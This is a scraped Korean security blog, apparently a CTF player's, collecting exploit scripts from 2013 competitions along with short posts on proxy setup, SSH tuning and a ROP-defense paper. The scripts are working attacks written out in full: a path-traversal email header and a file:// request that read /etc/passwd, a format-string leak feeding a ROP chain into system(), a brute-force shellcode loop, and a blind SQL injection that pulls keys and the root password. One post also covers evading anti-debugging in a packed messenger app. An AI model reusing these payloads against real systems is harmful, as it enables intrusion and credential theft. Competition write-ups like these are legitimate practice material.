import smtplib import sys   sender = 'hans@ck.er' receivers = ['test@b3.ctf.sigint.ccc.de']   if sys.argv[1] == "tunz": message = """From: ~~~~~~your email address~~~~~~ To: cloud <test@b3.ctf.sigint.ccc.de> Subject: get passwd   This is a test e-mail message. """ else: message = """From: /../../../../../../../etc@asdf.com To: cloud <test@b3.ctf.sigint.ccc.de> Subject: share passwd ~~~~~~your email address~~~~~~   This is a test e-mail message. """   print message     smtpObj = smtplib.SMTP('localhost') smtpObj.sendmail(sender, receivers, message) print "Successfully sent email"


'Computer Security > CTF' 카테고리의 다른 글

[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
[defcon 2013] annyong exploit  (1) 2013.06.28
[defcon 2013] gnireenigne, musicman, exploit  (0) 2013.06.17
posted by tunz




from socket import *
import sys
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('188.40.147.125',8080))
#s.connect(('localhost',8080))
s.send("GET file://localhost/etc/passwd HTTP/1.1\r\n\r\n")
get=s.recv(65000)
print get


posted by tunz

카톡이 더미다로 패킹이 되어있어서, 올리디버거를 감지하면 카톡이 꺼진다.


그럴때 사용하는 플러그인



StrongOD v0.4.8.892.zip


posted by tunz

우분투에서


# apt-get install squid3

# service squid3 start

# ufw allow 3128

# vi /etc/squid3/squid.conf

-> "http_access allow all" 추가



윈도우에서


1. 3128 방화벽 해제

2. 우분투로 3128번 포트포워딩

(하지만, vmplayer에서는 포트포워딩이 불가능하다. 그러기위해선 vmnetcfg.exe가 필요한데, vmware workstation에서 추출해야한다. vmplayer5에서는 아래의 vmnetcfg.exe를 이용하면 될듯하다.)


vmnetcfg.zip



압축을 해제한후, vmplayer폴더에 옮겨서 실행한다.


그리고, 해당하는 vmnet을 클릭한후, "NAT Settings"를 눌러서, Port Forwarding의 "Add"를 누르고, 등록하면 된다.



'Computer Engineering > 설치' 카테고리의 다른 글

vmplayer로 ubuntu에 proxy server 설치  (2) 2013.06.29
posted by tunz

대회때 푼건 아니고, 끝나고 연습용으로 품.


64bit, PIE, xinetd 환경.


실제 대회에서는 system offset은 브루트포싱으로 알아낼수있음.


from socket import *
from struct import *
import sys
 
cmd = "ls -al\x00"
 
s = socket(AF_INET,SOCK_STREAM)
s.connect(('localhost',5679))
 
# mov rdi rsi 0x1086
# write 0xfe3
 
s.send("%265$p\n")
get=s.recv(1024)
base_addr = int(get[2:],16) - 0x1127
print "base_addr: "+hex(base_addr)
 
s.send("%4$p\n")
get=s.recv(1024)
buf = int(get[2:],16)
print "buf_addr: "+hex(buf)
 
s.send("%7$s    "+pack('<Q',base_addr+0x202058)+"\n")
get=s.recv(1024)
fgets_addr = unpack('<Q',get[:6]+"\x00\x00")[0]
print "fgets_addr: "+hex(fgets_addr)
 
payload = ""
payload += cmd
payload += pack('<Q',base_addr+0x1086)
payload += "A"*(0x810-len(payload))
payload += "A"*8 # rbp
payload += pack('<Q',base_addr+0x1196)
payload += "A"*8
payload += pack('<Q',0) # rbx
payload += pack('<Q',1) # rbp
payload += pack('<Q',buf+len(cmd)) # r12
payload += pack('<Q',0) # r13
payload += pack('<Q',buf) # r14
payload += pack('<Q',0) # r15
payload += pack('<Q',base_addr+0x1183) # mov rsi r14; call *(r12+rbx*8)
payload += pack('<Q',0)
payload += pack('<Q',0)
payload += pack('<Q',buf)
payload += pack('<Q',1)
payload += pack('<Q',2)
payload += pack('<Q',3)
payload += pack('<Q',4)
payload += pack('<Q',fgets_addr-0x28E40) # system
payload += "\n"
 
s.send(payload)
print s.recv(1024)
print s.recv(1024)
s.close()


posted by tunz
  • hea 2013.11.30 02:01

    안녕하세요. PIE 에 대해서 공부해보고 싶은데 인터넷상의 문서가 너무 없더라구요.. 혹시 추천해주시는 문서나 괜찮으시다면 직접 설명좀 부탁드리겠습니다.

요즘 보안쪽 논문을 보면, 생각했던것과 많이 달라 이쪽 대학원을 가야하나 말아야하나 망설여지지만, 그중 이 논문은 가장 괜찮았다.


Smashing the Gadgets: Hindering Return-Oriented Programming Using In-Place Code Randomization


ROP gadget을 없애는 방법을 제시하고있는데, 그중 가장 기억에 남는건 첫번째 방법인 Atomic Instruction Substitution이다.


linux계열을 ROP로 공격할땐, 별로 소용이 없을것 같긴 하지만,

windows계열에서는 꽤나 도움이 될듯하다.


이 논문에서 예를 든건


cmp al,bl 과 같은것들을 cmp bl,al로 바꿈으로써, ret(C3)를 없앤다는 내용이다.

의미상으로는 전혀 다른게 없지만, ret이 없어짐으로써 가젯으로는 소용이 없어졌다.

속도상의 손해도 거의 없을것 같다.


사실 이방법만으로는 가젯파괴가 많이 힘들지도 모르지만, 

단순한 아이디어치고는 상당히 괜찮은것 같다.

posted by tunz
  • hea 2013.11.17 22:54

    안녕하세요 tunz님 rop공부하다가 의문점이 생겨 질문드립니다.
    rop시 got overwrite를 하면서 add 가젯을 써주던데 add가젯이 정확히 어느용도인지 이해가 안되더라구요..
    페이로드 인사이드를 보면 9쪽에 offset을 ecx에 로드하고 ecx는 add가젯을 통해 ebp+0x5b042464와 더해진 뒤 execve()의 주소를 printf@GOT에 써준다는데 이부분좀 자세히좀 풀어서 설명해주실수 있을련지요..

    • tunz 2013.11.17 23:59 신고

      ROP라는게 ret을 이용한 프로그래밍이라는 뜻입니다.
      GOT에서 printf의 주소를 덮어 쓰는 방법은 여러가지가 있는데,
      send,recv 함수등이 바이너리 안에서 사용되었다면, send로 printf의 주소를 익스플로잇쪽에 보내고 더한후에 recv함수로 printf의 주소를 덮어 주는 방법등으로 간단하게 할수도 있지만,
      이런방법이 불가능 하다면, print GOT의 주소를 eax에 어떻게든 넣어서 (pop eax; ret; 등을 이용해서) add [eax], ebx; ret; 이라는 가젯이 있다면, ebx또한 마찬가지로 조작한후, 위의 가젯을 이용하면 printf GOT의 주소를 조작할수 있습니다.
      보기좋게 add [eax], ebx; 와 같은 간단한 가젯이 있으면 좋겠지만, 만약 저런게 없고, add [eax + 0x123123] , ebx;라는 가젯이 대신 있을경우에도, eax를 (printf GOT - 0x123123)으로 맞춰주면 같은 작업을 할수있습니다.

$ sudo vi /etc/ssh/sshd_config


UseDNS no

추가

또는 UseDNS yes를 UseDNS no로 변경


그리고 재시작


$ sudo /etc/init.d/ssh restart



'Computer Engineering > 기타' 카테고리의 다른 글

우분투 ssh 로그인 느릴때  (0) 2013.06.23
posted by tunz

파일 헤더의 41~44바이트 부분을 조작함으로써, ReadChar 함수에서 읽는 부분을 조작할 수 있다.


이렇게 오프셋을 100만칸 옮기고, 파일을 다운받는다.


그리고 , IDA로 ReadChar의 소스를 긁어와서 컴파일 한후, 다운받은 파일을 다시 글자로 변환한다.


from socket import * from struct import *   s = socket(AF_INET,SOCK_STREAM) s.connect(('musicman.shallweplayaga.me',7890)) length=0 f = open('file','wb') while True: get=s.recv(0xffff) f.write(get) length = length + len(get) if length >= 211724: break f.close() print "recv1 end" f = open('file','rb') send_data=f.read() f.close() offset = unpack('<I',send_data[40:44])[0] offset = pack('<I',offset+1000000) s.send(send_data[:40]+offset+send_data[44:]) print "send" total=0 f = open('file2','wb') while True: get = s.recv(50000) total = total+ len(get) f.write(get) print "total: "+str(total) #print s.recv(50000) f.close() s.close()


posted by tunz

쉘코드 숏코드 만들기 문제


다른팀들은 대부분 tag의 2바이트 정도를 확인하는 식으로 한것 같은데,


난 생각이 안나서, 그냥 tag의 1바이트만 체크하는 식으로 루프를 돌려서 대략 2시간쯤 걸린듯 하다.


00000000  59                pop ecx
00000001  5B                pop ebx
00000002  51                push ecx
00000003  8B1B              mov ebx,[ebx]
00000005  8B4304            mov eax,[ebx+0x4]
00000008  3C00              cmp al,0x0
0000000A  8D4308            lea eax,[ebx+0x8]
0000000D  75F4              jnz 0x3
0000000F  C3                ret



from socket import * import time     while True: s = socket(AF_INET, SOCK_STREAM) s.connect(('linked2.shallweplayaga.me',22222)) stime = time.time() print "go" print s.recv(1024) s.send("\x59\x5b\x51\x8b\x1b\x8b\x43\x04\x3c\x00\x8d\x43\x08\x75\xf4\xc3") etime = time.time() print (etime-stime) get= s.recv(1024) print get s.close() if ("Key" in get) or ("key" in get) or ("KEY" in get): print "found" f=open('key','w') f.write(get) f.close() break


posted by tunz

sqlite injection 문제.


import httplib,urllib;
 
# Blind SQL injection
ck = ""
referer = ""
 
# barking up the wrong tree --
 
# setting
#toget = "(SELECT password from users where name='root')"
#toget = "(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)"
#toget = "(SELECT count() from keys)"
#toget = "(SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)"
toget = "(SELECT value FROM keys LIMIT 1 OFFSET 0)"
stage = 2
 
print "[*] Stage1: Find Length of " + toget
 
answer = ""
length=0
j = 1
k = 1
i = 0x7E
conn = httplib.HTTPConnection("babysfirst.shallweplayaga.me",8041)
conn.connect()
while j <= stage:
        if j is 1:
                query = "' or length("+toget+")="+str(k)+" -- "
        else:
                query = "' or substr("+toget+","+str(k)+",1) = '"+chr(i)+"' -- "
        val = urllib.urlencode({'username': query,'password':'1'})
        headers = { 'Accept':'text/html, application/xhtml+xml, */*', 'Content-type': 'application/x-www-form-urlencoded', 'Content-length': str(len(val)), 'Cookie': ck, 'Referer': referer, 'Accept-Language':'ko-KR','User-Agent':'User-Agent: Mozilla/5.0 (compatible; MSIE 10.6; hello; Trident/6.0)'}
        params = urllib.urlencode({'id':query,'password':'abc'})
        conn.request('POST','/login',val,headers)
        response = conn.getresponse()
        data = response.read()
        if j is 1:
                print "now: "+str(k)
                if data.find('root') is not -1:
                        length = k
                        print "[+] Length: " + str(length)
                        print data
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                if k is 100:
                        print "[-] NotFound"
                        break
                k = k+1
        else:
                print "now: "+chr(i)
                if data.find('root') is not -1:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0x7E
                        if k > length:
                                break
                        else:
                                continue
                i = i-1
 
conn.close()
print data
print "Answer:" +answer


posted by tunz